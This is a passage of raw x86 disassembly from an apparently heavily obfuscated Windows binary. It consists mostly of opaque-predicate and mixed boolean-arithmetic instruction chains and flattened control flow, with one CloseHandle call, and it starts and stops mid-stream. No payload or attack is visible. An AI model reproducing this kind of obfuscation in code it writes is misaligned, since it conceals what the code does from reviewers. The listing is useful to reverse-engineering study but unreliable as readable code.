and eax, 0x3d531ad5
mov edi, edx
and edi, 0xc2ace52a
or edi, eax
mov esi, edi
xor esi, 0x284c520
xor edi, 0x11020200
and edi, 0xd12a220a
and esi, 0x2ed5ddf5
or esi, edi
mov eax, esi
xor eax, 0x6854471
xor esi, 0xd0280208
and esi, 0xf8789b8c
and eax, 0x7876473
or eax, esi
mov esi, eax
xor esi, 0xf8789b8c
xor eax, 0x7876473
mov edi, esi
and edi, eax
and esi, 0x93e484b5
and eax, 0x6c1b7b4a
or eax, esi
xor eax, 0x93e484b5
or eax, edi
mov esi, eax
not esi
and eax, 0x9e94fc8b
mov edi, esi
and edi, 0x616b0374
or edi, eax
mov ebx, edi
xor ebx, 0x616b0374
mov eax, edi
xor eax, 0xf44a303f
and eax, ebx
and esi, 0x9521334b
or esi, eax
xor esi, 0xc3db9af5
xor edi, 0x1090fc88
and edi, 0x31d2fca8
mov eax, ebx
and eax, 0xce2d0357
or eax, edi
xor eax, 0x67285516
and ebx, 0x56faa9be
or ebx, eax
not ebx
or ebx, esi
mov ebp, ebx
mov dword [esp + 8], ebx
mov eax, ecx
and eax, 0xeaa01e
mov esi, edx
and esi, 0x561009a0
or esi, eax
mov ebx, esi
xor ebx, 0x4100900
xor esi, 0xa9eff65f
mov edi, edx
xor edi, 0x56faa9be
and edi, edx
mov eax, esi
and eax, 0xfbed00f0
and ebx, 0x412a90e
or ebx, eax
mov eax, edi
not eax
or esi, eax
and eax, 0xfbed00f0
and edi, 0x412ff0f
or edi, eax
mov eax, ebp
not eax
mov dword [esp + 4], eax
xor edi, ebx
not esi
or esi, edi
and ecx, 0x24b31fd0
and edx, 0xdb4ce02f
or edx, ecx
mov ebp, edx
xor ebp, 0x18488024
mov edi, esi
not edi
mov eax, edi
and eax, 0xc7157d8b
and esi, 0x38ea8274
or esi, eax
xor edx, 0x4111d80
and edx, 0xc7157d8b
and ebp, 0x38ea8274
or ebp, edx
xor ebp, esi
not ebp
or ebp, edi
mov esi, dword [esp + 8]
mov eax, esi
and eax, 0x2044041
mov edx, dword [esp + 4]
mov ecx, edx
and ecx, 0x8304a8
or ecx, eax
mov edi, ecx
xor edi, 0x800488
xor ecx, 0xff7cfb57
xor esi, 0xfd78bb16
and esi, edx
mov eax, ecx
and eax, 0xce23b932
and edi, 0x8444c9
or edi, eax
mov eax, esi
not eax
or ecx, eax
and eax, 0xce23b932
and esi, 0x31dc46cd
or esi, eax
mov dword [esp], ebp
mov edx, ebp
not edx
xor esi, edi
not ecx
or ecx, esi
mov eax, edx
and eax, 0x2ea6da2d
mov edi, ebp
and edi, 0xd15925d2
or edi, eax
mov ebp, ecx
xor ebp, 0xfd78bb16
mov eax, edi
xor eax, 0x2ea6da2d
xor ecx, 0x28744e9
mov ebx, ecx
and ebx, 0x1103d020
xor edi, 0xd15925d2
mov esi, eax
and eax, ecx
mov dword [esp + 0x10], eax
or ecx, edi
mov dword [esp + 0xc], ecx
mov ecx, edi
and edi, ebp
mov eax, ebp
and eax, 0x4a020dc
or eax, ebx
mov ebx, dword [esp + 8]
or ebx, 0x11a29060
mov ebp, dword [esp + 4]
and ebp, 0xc20c0001
and ebx, 0x39f29f62
or ebx, ebp
and ecx, 0x4010028
and esi, 0x11a2f0d4
or esi, ecx
mov ebp, dword [esp]
mov ecx, ebp
and ecx, 0x680ec812
and edx, 0x97f137ed
or edx, ecx
xor edx, 0x7dad38ee
mov ecx, ebp
xor ecx, edx
and ecx, edx
mov dword [esp], ecx
xor eax, 0x4a020dc
or eax, 0xea5c0f03
mov ecx, eax
not ecx
mov ebp, eax
xor ebp, 0x11a2fc04
and eax, ebp
and ebp, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x120d0cc
and eax, 0xbc932031
or eax, edx
mov edx, ebp
not edx
or ecx, edx
and edx, 0x436cd3ce
and ebp, 0x14832030
or ebp, edx
xor ebp, eax
not ecx
or ecx, ebp
mov edx, ebx
mov eax, ebx
xor eax, 0xc60d609d
xor edx, 0xd7af9c99
and edx, eax
mov ebp, edx
mov ebx, edx
not ebp
mov edx, ebp
and edx, 0x3932dd05
and ebx, 0xc24d024a
or ebx, edx
or eax, 0xee5d03fb
or ebp, eax
and eax, 0x3932dd25
xor eax, ebx
not ebp
or ebp, eax
xor esi, 0x11a2f0d4
or esi, 0xea5c0f03
xor ebp, ecx
mov edx, dword [esp]
mov eax, edx
not eax
xor edx, eax
and edx, esi
or esi, eax
xor edx, eax
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xb58c69d5
and edx, 0x4a73962a
or edx, ecx
or ebx, esi
and esi, 0xb5aff9fd
xor esi, edx
mov ecx, ebp
xor ecx, 0x4000090
xor esi, 0x239028
not ebx
or ebx, esi
xor ebp, 0xfbffff6f
mov edx, ebp
and edx, 0xb501568
and ecx, 0xf4afea97
or ecx, edx
mov edx, ebx
not edx
xor ecx, 0xb501568
or ecx, edx
not ecx
and edx, 0xdc245645
and ebx, 0x23dba9ba
or ebx, edx
xor ebx, 0xdc245645
or ebx, ebp
not ebx
or ebx, ecx
or edi, dword [esp + 0x10]
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0xdaf4458f
and edi, 0x250bba70
or edi, edx
mov eax, dword [esp + 0xc]
xor edi, eax
xor edi, 0x250bba70
or ecx, eax
not ecx
or ecx, edi
mov edx, ecx
not edx
mov esi, edx
and esi, 0x10850040
and ecx, 0x1401000
or ecx, esi
xor ecx, 0x1401000
and edx, 0xee3aefbf
or edx, ecx
mov ecx, edx
mov esi, edx
xor esi, 0xd1d32af2
and esi, edx
not edx
mov eax, ebx
not eax
mov dword [esp], eax
and edx, 0xa0f3112b
and ecx, 0x5f0ceed4
or ecx, edx
mov edx, ebx
xor edx, 0xd1d32af2
and edx, eax
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x8acb7e37
and edx, 0x753481c8
or edx, edi
mov edi, eax
or edi, 0xd1d32af2
or ebp, edi
and edi, 0x8acb7e37
mov eax, ebx
and eax, 0x24248108
or eax, edi
xor eax, edx
mov dword [esp + 4], ecx
mov edi, ecx
xor edi, 0x5f0ceed4
not ebp
or ebp, eax
mov eax, ecx
xor eax, 0x71203bd9
and eax, edi
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x207fbb2
and eax, 0xfdf8044d
or eax, ecx
mov ecx, esi
not ecx
or edx, ecx
and ecx, 0x207fbb2
and esi, 0xfdf8044d
or esi, ecx
xor esi, eax
not edx
or edx, esi
xor edx, ebp
mov ecx, dword [esp + 4]
xor ecx, 0xa0f3112b
mov eax, ebx
and eax, 0x2f89570e
mov esi, dword [esp]
and esi, 0xd076a8f1
or esi, eax
or ebx, ecx
and ecx, 0x2f89570e
and edi, 0xd076a8f1
or edi, ecx
xor edi, esi
not ebx
or ebx, edi
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xd11ed98b
and edx, 0x2ee12674
or edx, eax
xor edx, ebx
xor edx, 0x2ee12674
or ecx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
mov esi, eax
and esi, 0x65f6b0d6
and ecx, 0x9a094f29
or ecx, esi
mov edi, ecx
xor edi, eax
and edi, ecx
mov edx, edi
not edx
xor eax, edx
and eax, esi
xor edx, edi
and edx, esi
xor edx, edi
mov ecx, eax
not ecx
mov esi, edx
not esi
mov edi, ecx
and edi, 0x10d585f3
and eax, 0x65223004
or eax, edi
or ecx, esi
and esi, 0x10d585f3
and edx, 0xef2a7a0c
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x40841662
mov esi, ecx
and esi, 0x512001
or esi, edx
mov edx, esi
xor edx, 0x412001
xor esi, 0x7324cf0c
or eax, 0x40140600
and esi, 0x7334cf0c
and edx, 0xc13063
or edx, esi
and eax, 0x7334cf0c
and ecx, 0x8c0a0090
or ecx, eax
xor ecx, edx
mov eax, ecx
xor eax, 0x8c26d0f4
xor ecx, 0x73d92f0b
mov esi, ecx
and esi, 0x616753cf
mov edx, eax
and edx, 0x9e98ac30
or edx, esi
mov esi, edx
xor esi, 0x9a00a010
xor edx, 0x616753cf
mov edi, ecx
and edi, eax
mov ebx, edx
and ebx, 0x45fc5d65
and esi, 0xba03a29a
or esi, ebx
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0x45fc5d65
and edi, 0xba03a29a
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, edx
not esi
and edx, 0x9a89c0d2
and esi, 0x65763f2d
or esi, edx
mov edx, esi
xor edx, 0x9a89c0d2
xor esi, 0x65763f2d
mov edi, ecx
and edi, 0x8083b61d
and eax, 0x7f7c49e2
or eax, edi
xor eax, 0x7f7c49e2
xor ecx, eax
and ecx, eax
mov eax, ecx
not eax
mov edi, esi
xor edi, eax
and edi, esi
and ecx, edx
and eax, esi
or eax, ecx
or eax, edi
mov edx, eax
not edx
mov esi, eax
and esi, 0x75d3333a
mov ecx, edx
and ecx, 0x8a2cccc5
or ecx, esi
xor ecx, 0x8a2cccc5
or ecx, edx
and edx, 0xd36e405b
and eax, 0x2c91bfa4
or eax, edx
mov edx, eax
xor eax, 0x2c91bfa4
mov esi, ecx
xor esi, 0x58259414
mov edi, esi
and edi, ecx
mov ebx, eax
or eax, ecx
not ecx
xor edx, 0x50240010
and esi, ecx
and ebx, 0xa7da6beb
and edx, 0x58259414
or edx, ebx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x180c8519
and edi, 0xe7f37ae6
or edi, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0x180c8519
and esi, 0xe7f37ae6
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xcc676e40
mov esi, eax
and esi, 0x339891bf
or esi, ecx
mov ecx, esi
xor ecx, 0x2118800c
xor esi, 0x80662800
and esi, 0x92e639b3
and ecx, 0x6d19c64c
or ecx, esi
mov esi, ecx
xor esi, 0x28001a1
xor ecx, 0x4819004c
and ecx, 0xd87f385e
and esi, 0x2780c7a1
or esi, ecx
mov ecx, esi
xor ecx, 0x278041a0
xor esi, 0x98683006
and esi, 0x9868b607
and ecx, 0x679749f8
or ecx, esi
and edx, 0xdebd8623
and eax, 0x214279dc
or eax, edx
mov esi, eax
xor esi, 0x214279dc
xor eax, 0x96800002
and eax, 0x96c0485e
mov edx, esi
and edx, 0x693fb7a1
or edx, eax
mov eax, ecx
xor eax, 0x679749f8
xor ecx, 0x9868b607
xor edx, 0x693fb7a1
or edx, esi
mov esi, edx
not esi
and esi, ecx
or ecx, edx
and edx, eax
or edx, esi
mov eax, edx
not eax
mov esi, eax
and esi, 0x6549f72f
and edx, 0x9ab608d0
or edx, esi
xor edx, ecx
xor edx, 0x9ab608d0
or eax, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x5a6267bd
and eax, 0xa59d9842
or eax, ecx
mov ecx, eax
xor ecx, 0x41c1842
xor eax, 0x48420719
and eax, 0xe9c38719
and ecx, 0x163c78e6
or ecx, eax
xor ecx, 0x163c78e6
sete al
setne cl
cmp dword [0x1004090c], 0xa
setge ah
setl dl
mov ch, dl
xor ch, cl
and cl, ch
and ch, dl
mov dh, cl
xor dh, 1
xor cl, ch
xor ch, 1
or ch, dh
xor ch, 1
or ch, cl
or dl, ch
mov cl, ch
xor cl, ah
and cl, ch
xor ch, 1
xor dl, 1
or cl, dl
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, 1
mov bh, dl
mov byte [esp], dl
mov dh, ah
xor dh, al
or al, ah
xor al, 1
not dh
and dh, ah
or dh, al
mov bl, dh
xor bl, 1
mov ch, dh
and ch, bl
mov ah, bl
xor ah, ch
xor ch, 1
mov al, bl
xor al, ch
or bl, ch
xor bl, 1
or bl, al
mov dl, bl
xor dl, 1
or ch, dh
xor ch, 1
or ch, ah
mov al, ch
xor al, dh
or ch, dh
xor ch, 1
or ch, al
xor ch, 1
mov ah, bh
and ah, cl
xor ah, 1
mov al, cl
xor al, ah
or ah, cl
xor ah, 1
or ah, al
mov dh, ah
xor dh, 1
xor bl, ch
mov bh, ch
and bh, bl
xor bl, 1
and bl, ch
xor ch, dl
and ch, dl
mov al, bl
xor al, 1
xor bl, ch
xor ch, 1
or ch, al
xor ch, 1
or ch, bl
mov al, bh
xor al, ch
or ch, bh
xor ch, 1
or ch, al
xor al, 1
mov ebx, eax
xor bl, ch
or ch, al
xor ch, 1
or ch, bl
mov bl, ah
and bl, dh
xor bl, 1
mov al, dh
xor al, bl
or bl, dh
xor bl, 1
or bl, al
mov bh, ch
and bh, bl
xor bl, 1
mov al, ch
xor al, 1
and bl, al
or bl, bh
mov bh, bl
xor bh, al
and bh, bl
and al, dh
and ch, ah
or al, ch
xor ah, al
and ah, al
xor bh, 1
xor ah, 1
mov al, ah
xor al, bh
xor al, 1
or ah, bh
mov ch, al
xor ch, ah
or ah, al
xor ah, 1
or ah, ch
mov al, cl
xor al, dl
mov dh, byte [esp]
or dh, al
mov ch, dh
xor ch, 1
or dl, cl
and dl, al
mov cl, ch
and cl, dh
xor cl, 1
mov al, cl
xor al, dh
or cl, dh
xor cl, 1
or cl, al
xor cl, dl
xor cl, 1
mov al, ch
xor al, dl
or dl, ch
xor dl, 1
or dl, al
mov al, cl
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov al, ah
and al, dl
xor dl, 1
mov ch, ah
xor ch, 1
mov cl, dl
and cl, ch
or cl, al
mov al, ch
xor al, dl
and al, ch
xor dl, ah
mov ah, al
xor ah, 1
xor al, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0xe9db2e5
mov esi, 0xbc9df43d
cmovne edx, esi
test al, 1
mov ebx, 0xe9db2e5
cmovne ebx, edx
jmp 0x1001e518
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0x1de9c053
jmp 0x1000b8a0
cmp byte [esp + 0x2e], 0
mov ebx, 0x1a8fed46
mov eax, 0xcd22fe90
cmovne ebx, eax
jmp 0x1000b8a0
mov eax, dword [esp + 0x44]
cmp eax, 2
mov ebx, 0x6f83db48
mov eax, 0x9a166f6d
cmovb ebx, eax
jmp 0x1000b8a0
mov eax, dword [0x10040908]
lea edi, [eax + 1]
imul edi, eax
mov edx, edi
not edx
mov ecx, edi
and ecx, 0xcf5cf10
mov eax, edx
and eax, 0xf30a30ef
or eax, ecx
mov ecx, eax
xor ecx, 0xf30a30ef
mov ebx, eax
xor ebx, 0x44d9aa97
and ebx, ecx
mov esi, ebx
not esi
mov ebp, esi
or esi, edi
or edi, 0x8282480
and ebp, 0x297b2cc8
and ebx, 0xd684d337
or ebx, ebp
and edi, 0x297b2cc8
and edx, 0x96809230
or edx, edi
xor edx, ebx
not esi
or esi, edx
not edx
and edx, 0x482c6587
and esi, 0xb7d39a78
or esi, edx
xor eax, 0x8148110
and eax, 0x69148152
mov edx, ecx
and edx, 0x96eb7ead
or edx, eax
xor edx, 0x96eb7ead
or edx, ecx
not edx
or edx, esi
mov eax, edx
xor eax, 0x546eb188
and eax, edx
mov ecx, edx
not ecx
or ecx, eax
not eax
and eax, 0xab914e77
and ecx, 0x546eb188
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xe61d73a
and eax, 0xf19e28c5
or eax, ecx
mov edx, eax
xor edx, 0xf19e28c5
xor eax, 0xe61d73a
mov ecx, edx
and ecx, 0xce8924f9
mov esi, eax
and esi, 0x3176db06
or esi, ecx
xor esi, 0x3176db06
mov ecx, esi
xor ecx, edx
and ecx, esi
and edx, 0xe60000b4
mov esi, eax
and esi, 0x8042000
or esi, edx
xor esi, 0x8042000
and eax, 0x11fbdf4b
or eax, esi
mov edx, eax
xor edx, 0x4c0000b4
mov edi, ecx
not edi
xor eax, 0x11fbdf4b
mov esi, edi
or esi, eax
and edi, 0xb2fc704a
and ecx, 0x4d038fb5
or ecx, edi
and eax, 0xb2fc704a
and edx, 0x4d038fb5
or edx, eax
xor edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x1e63d24a
and edx, 0xe19c2db5
or edx, eax
xor edx, esi
xor edx, 0xe19c2db5
or ecx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x45e21060
mov esi, ecx
and esi, 0xb8148e82
or esi, edx
mov edx, esi
xor edx, 0x30048200
xor esi, 0x44a21129
mov edi, eax
or edi, 0xccb21ca2
and esi, 0xccb21dab
and edx, 0x31448240
or edx, esi
and edi, 0xccb21dab
mov esi, ecx
and esi, 0x2096014
or esi, edi
xor esi, edx
mov edi, esi
xor edi, 0x209611d
mov edx, esi
xor edx, 0xfdf69ee2
mov ebx, edx
and ebx, 0x9fc204d4
xor esi, 0x9dcb65c9
and esi, edi
or esi, ebx
xor esi, 0x9fc204d5
and edi, 0x212d8426
mov ebx, edx
and ebx, 0xded27bd9
or ebx, edi
xor ebx, 0xded27bd8
and edx, 0xfffffffe
or edx, ebx
not edx
or edx, esi
mov esi, edx
not esi
and eax, 0x39418d9f
mov edi, ecx
and edi, 0xc6be7260
or edi, eax
mov eax, edi
xor eax, 0xc5240
xor edi, 0x3101008a
and edi, 0xf7b320aa
and eax, 0x84cdf55
or eax, edi
mov edi, eax
xor edi, 0x978020a0
xor eax, 0x8440e54
and eax, 0x68770e5e
and edi, 0x9788f1a1
or edi, eax
mov eax, edi
xor eax, 0x9788f1a1
xor edi, 0x8750a54
and edi, 0x88f5cbd5
mov ebx, eax
and ebx, 0x770a342a
or ebx, edi
xor ebx, 0x88f5cbd4
and eax, 1
or eax, ebx
mov edi, eax
not edi
mov ebx, ecx
and ebx, eax
or ecx, 0xd6178524
and ecx, 0xd6178525
xor ecx, 0x29e87adb
or eax, ecx
not eax
and ebx, 1
and ecx, edi
or ecx, ebx
or ecx, eax
mov ebx, ecx
not ebx
mov eax, ebx
and eax, edx
mov edi, esi
and edi, ecx
or edi, eax
mov eax, edi
xor eax, edx
and eax, edi
mov ebp, eax
and edx, 0x76f5dc32
mov edi, esi
and edi, 0x890a23cd
or edi, edx
xor edi, ebx
xor edi, 0x890a23cd
and edi, ecx
xor ecx, esi
and ecx, esi
mov ebx, edi
not ebx
mov esi, ecx
not esi
mov eax, ebx
and eax, 0x4fda2cb6
and edi, 0xb025d349
or edi, eax
or ebx, esi
and esi, 0x4fda2cb6
and ecx, 0xb025d349
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
mov dword [esp], ebp
mov esi, ebp
not esi
mov ecx, ebx
not ecx
mov edi, esi
and edi, 0x4e748860
mov eax, ebp
xor eax, 0x4e748860
and eax, ebp
or eax, edi
mov edi, ebx
or edi, 0x80750d
and edi, 0x42807d6d
mov ebp, ecx
and ebp, 0xc748000
or ebp, edi
mov edi, ecx
or edi, 0x42000860
and edi, 0x42807d6d
mov edx, ebx
and edx, 0xb10b0292
or edx, edi
xor edx, ebp
mov edi, edx
xor edi, edx
not edi
and edi, eax
xor edi, edx
mov edx, dword [esp]
mov eax, edx
and eax, 0x3ee997de
and esi, 0xc1166821
or esi, eax
or edx, ebx
and ebx, 0x3ee997de
and ecx, 0xc1166821
or ecx, ebx
xor ecx, esi
mov eax, edx
not eax
or eax, ecx
not eax
or eax, edi
mov dword [esp], eax
mov ecx, eax
not ecx
and eax, 0x20f38a72
mov edx, ecx
and edx, 0xdf0c758d
or edx, eax
mov ebx, edx
xor ebx, 0xdf0c758d
xor edx, 0x20f38a72
mov ebp, ebx
and ebp, edx
mov esi, ebp
not esi
mov eax, esi
and eax, 0xc2262c09
and ebp, 0x3dd9d3f6
or ebp, eax
mov edi, ecx
and edi, dword [esp]
or esi, ebx
and ebx, 0xc2262c09
and edx, 0x3dd9d3f6
or edx, ebx
xor edx, ebp
not esi
or esi, edx
mov eax, ecx
and eax, 0x8fdaf07b
mov ebx, dword [esp]
mov edx, ebx
and edx, 0x70250f84
or edx, eax
xor edx, 0x70250f84
or edx, edi
not edx
and ecx, 0x280c7585
mov eax, ebx
and eax, 0xd7f38a7a
or eax, ecx
xor eax, 0xd7f38a7a
or eax, edx
mov ecx, eax
mov edx, eax
mov dword [esp], eax
not ecx
mov edi, ecx
mov dword [esp + 4], ecx
mov ecx, esi
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0x73c1aae0
and ecx, 0x8c3e551f
or ecx, eax
mov eax, edx
and eax, 0x2dc7c72e
mov edx, edi
and edx, 0xd23838d1
or edx, eax
mov ebp, esi
xor ebp, 0x1c4fa20e
and ebp, esi
mov edi, esi
xor ecx, 0x8c3e551f
xor edx, 0xd23838d1
or edx, ecx
mov dword [esp + 8], edx
and ebx, 0x4080004
and edi, 0x1847a20a
or edi, ebx
mov edx, dword [esp]
mov eax, edx
and eax, 0x4b61e30c
mov ebx, dword [esp + 4]
and ebx, 0xb49e1cf3
or ebx, eax
mov eax, ebx
xor eax, 0xb49e1cf3
xor ebx, 0x572e4102
and ebx, eax
mov ecx, edi
xor ecx, 0x448002
xor edi, 0xe7b85df5
mov eax, edi
and eax, 0x3e2372fc
and ecx, 0x4c8002
or ecx, eax
mov eax, ebp
not eax
or edi, eax
and eax, 0x3e2372fc
and ebp, 0xc1dc8d03
or ebp, eax
or edx, 0x1c4fa20e
xor ebp, ecx
not edi
or edi, ebp
mov esi, ebx
not esi
mov eax, esi
and eax, 0x9c3404b5
and ebx, 0x63cbfb4a
or ebx, eax
or esi, edx
and edx, 0x9c3404b5
mov eax, dword [esp + 4]
and eax, 0x63805940
or eax, edx
xor eax, ebx
not esi
or esi, eax
xor esi, edi
mov ebx, esi
not ebx
mov ecx, dword [esp + 8]
mov edx, ecx
mov eax, ecx
mov edi, ebx
or ebx, ecx
not ecx
mov ebp, ecx
or ebp, 0x25000c15
and ebp, 0x67101c3d
and eax, 0x986f6300
or eax, ebp
mov ebp, esi
xor ebp, 0xda7f7328
and ebp, esi
or edx, 0x42101028
or esi, 0x25808cd7
and edx, 0x67101c3d
and ecx, 0x8080c2
or ecx, edx
xor ecx, eax
mov eax, ebp
not eax
mov edx, esi
and edx, 0x2c2946cb
and edi, 0xd2563120
or edi, edx
or esi, eax
and eax, 0x2c2946cb
and ebp, 0xd3d6b934
or ebp, eax
xor ebp, edi
not esi
or esi, ebp
mov eax, esi
xor eax, esi
not eax
and eax, ecx
xor eax, esi
not ebx
or ebx, eax
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x3c6cff74
mov eax, ebx
and eax, 0xc393008b
or eax, edx
mov esi, eax
xor esi, 0x1000000
xor eax, 0x8085f30
mov edx, ebx
xor edx, 0x490a5fb0
and edx, ebx
or eax, 0xb6f5a04f
mov edi, edx
not edi
mov ebp, eax
and ebp, 0x409748d3
and esi, 0x9081720
or esi, ebp
or eax, edi
and edi, 0x409748d3
and edx, 0xbf68b72c
or edx, edi
xor edx, esi
not eax
or eax, edx
mov edx, eax
xor edx, 0x2000
xor eax, 0x20
and eax, 0x1094006e
and edx, 0x41006600
or edx, eax
mov eax, edx
xor eax, 0x41006600
or eax, 0xae6b9991
mov edi, eax
not edi
mov esi, ecx
or esi, 0x4014624c
and eax, 0x200a000
xor edx, 0x10142424
and edx, edi
and edi, 0x80044a
or edi, eax
xor edi, 0x88044a
and esi, 0x4036734d
mov eax, ebx
and eax, 0xae498890
or eax, esi
or edx, edi
mov esi, eax
xor esi, 0x20001
or esi, 0x1080
xor eax, 0x20880002
or ecx, 0x82028011
and esi, 0x82029091
and eax, 0x2088000a
or eax, esi
and ecx, 0x82029091
and ebx, 0xc610900
or ebx, ecx
xor ebx, eax
xor ebx, edx
mov dword [esp], ebx
mov esi, ebx
xor esi, 0xe69bdc0
mov dword [esp + 4], esi
mov edx, ebx
xor edx, 0xf196423f
mov dword [esp + 8], edx
mov eax, esi
and eax, 0xfda2e58b
mov ecx, edx
and edx, 0x25d1a74
or edx, eax
mov ebx, edx
xor ebx, esi
and ebx, edx
and ecx, 0x75e8fc0b
mov eax, esi
and eax, 0x8a1703f4
or eax, ecx
mov edi, eax
xor edi, 0x8a1703f4
xor eax, 0x3048c40a
and eax, 0xba4ac4ce
mov ecx, edi
and ecx, 0x45b53b31
or ecx, eax
xor ecx, 0xb817deba
and edi, 0x25d1a74
or edi, ecx
mov eax, edi
not eax
mov ecx, edi
and ecx, 0x5c95379a
xor edi, 0xb7456d03
and edi, eax
and eax, 0xa36ac865
or eax, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x48ba92fc
mov esi, ebx
xor esi, 0x48ba92fc
and esi, ebx
or esi, ecx
mov ebp, eax
xor ebp, 0xa36ac865
mov ecx, eax
xor ecx, 0x142fa566
and ecx, ebp
or edi, ecx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, esi
xor ecx, edi
mov esi, ebx
and esi, 0xf6a8a8d
and edx, 0xf0957572
or edx, esi
xor eax, 0x5c95379a
or ebx, eax
and eax, 0xf6a8a8d
and ebp, 0xf0957572
or ebp, eax
mov eax, dword [esp]
xor eax, 0x3aaba70d
mov edi, dword [esp + 8]
and eax, edi
mov dword [esp], eax
xor ebp, edx
not ebx
or ebx, ebp
mov eax, ecx
not eax
mov edx, eax
and edx, 0xc22a5e7d
and ecx, 0x3dd5a182
or ecx, edx
mov edx, ebx
not edx
or eax, ebx
and ebx, 0xc22a5e7d
and edx, 0x3dd5a182
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
mov edx, eax
xor edx, 0x21bb206e
and edx, eax
or eax, 0xde44df91
not ecx
mov esi, eax
and esi, 0xf2b7ead4
and ecx, 0x108002a
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0xf2b7ead4
and edx, 0xd48152b
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, dword [esp + 4]
and ecx, 0xabf48da4
and edi, 0x540b725b
or edi, ecx
mov edx, edi
mov ebp, edi
xor ebp, 0xabf48da4
mov esi, ebp
or esi, 0x34c21acd
xor edi, 0x16012
mov ecx, esi
and ecx, 0xeb5c11ac
and edi, 0x21e412
or edi, ecx
mov ebx, dword [esp]
mov ecx, ebx
not ecx
or esi, ecx
and ecx, 0xeb5c11ac
and ebx, 0x14a3ee53
or ebx, ecx
mov ecx, eax
xor ecx, 0x23e63a1a
xor edx, 0x44017018
xor ebx, edi
not esi
or esi, ebx
xor esi, 0x34c21acd
and ebp, 0x9b0e0ac3
and edx, 0x64f1f53c
or edx, ebp
xor edx, 0x64f1f53c
or edx, esi
mov ebp, edx
not ebp
mov esi, eax
xor esi, 0xdc19c5e5
mov edi, edx
and edi, 0xf2a8def7
xor edx, 0xc4b9e715
and edx, ebp
and ebp, 0xd572108
or ebp, edi
mov ebx, ebp
xor ebx, 0xd572108
xor eax, 0x18a022f0
mov edi, ebx
and edi, 0x3b4618ea
or edx, edi
mov edi, edx
xor edi, edx
not edi
and edi, eax
mov eax, esi
or eax, ecx
xor ebp, 0xf2a8def7
and edi, eax
xor edi, edx
mov eax, ecx
and eax, 0xc5ea7dac
and esi, 0x3a158253
or esi, eax
or ecx, ebp
and ebp, 0xc5ea7dac
and ebx, 0x3a158253
or ebx, ebp
xor ebx, esi
not ecx
or ecx, ebx
not ecx
or ecx, edi
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x14a09791
and ebp, ecx
mov eax, edx
and eax, 0xd07808e7
and ecx, 0x2f87f718
or ecx, eax
xor ecx, 0xd07808e7
or ecx, edx
and edx, 0x14a09791
or ebp, edx
mov edi, ebp
xor edi, 0x6106606a
mov edx, ebp
xor edx, 0x14a09791
mov esi, ecx
not esi
mov eax, edx
and eax, 0x9af90b95
and edi, 0x6506f46a
or edi, eax
mov eax, ecx
and eax, 0x8d1ef419
mov ebx, esi
and ebx, 0x72e10be6
or ebx, eax
mov eax, edi
xor eax, 0x100010
or eax, 0x88e9068a
mov dword [esp], edi
xor edi, 0x4000020
and eax, 0x89f9b6da
and edi, 0x6000021
or edi, eax
or edx, 0x110b050
xor ebp, 0x60064804
and edx, 0x89f9b6da
and ebp, 0x70064904
or ebp, edx
mov edx, dword [esp]
xor edx, 0x6506f46a
xor ebp, edi
mov eax, ebx
xor eax, 0x72e10be6
xor ebx, 0x1009011
or ebx, 0x70e44a04
and ebx, 0x71e4da35
or edx, eax
mov edi, edx
and eax, 0x6102040
or eax, ebx
or ecx, 0x1009031
and ecx, 0x71e4da35
and esi, 0x880b058a
or esi, ecx
xor esi, eax
mov ecx, esi
xor ecx, esi
not ecx
and ecx, ebp
xor ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x629bb0f0
and ecx, 0x9d644f0f
or ecx, edx
mov esi, edi
mov edx, edi
not edx
or eax, edi
and esi, 0x629bb0f0
and edx, 0x9d644f0f
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x760844c2
mov edx, eax
and edx, 0x89f7bb3d
or edx, esi
mov esi, ecx
and esi, 0x5782e219
and eax, 0xa87d1de6
or eax, esi
mov esi, edx
xor esi, 0x88751924
xor edx, 0x56004000
and edx, 0x5782e219
and esi, 0xa87d1de6
or esi, edx
xor esi, eax
xor ecx, esi
test ecx, esi
sete dl
setne dh
cmp dword [0x1004090c], 0xa
setl ah
setge al
mov ebx, eax
xor bl, dh
mov ch, al
or ch, dh
xor ch, 1
or ch, bl
mov cl, ch
xor cl, 1
and bl, dh
and al, dl
or al, bl
mov dh, al
xor dh, 1
mov ebx, eax
and bl, ch
or al, cl
and cl, dh
or cl, bl
xor dh, ch
xor al, 1
or al, dh
xor cl, 1
mov ch, cl
xor ch, al
or cl, al
xor cl, 1
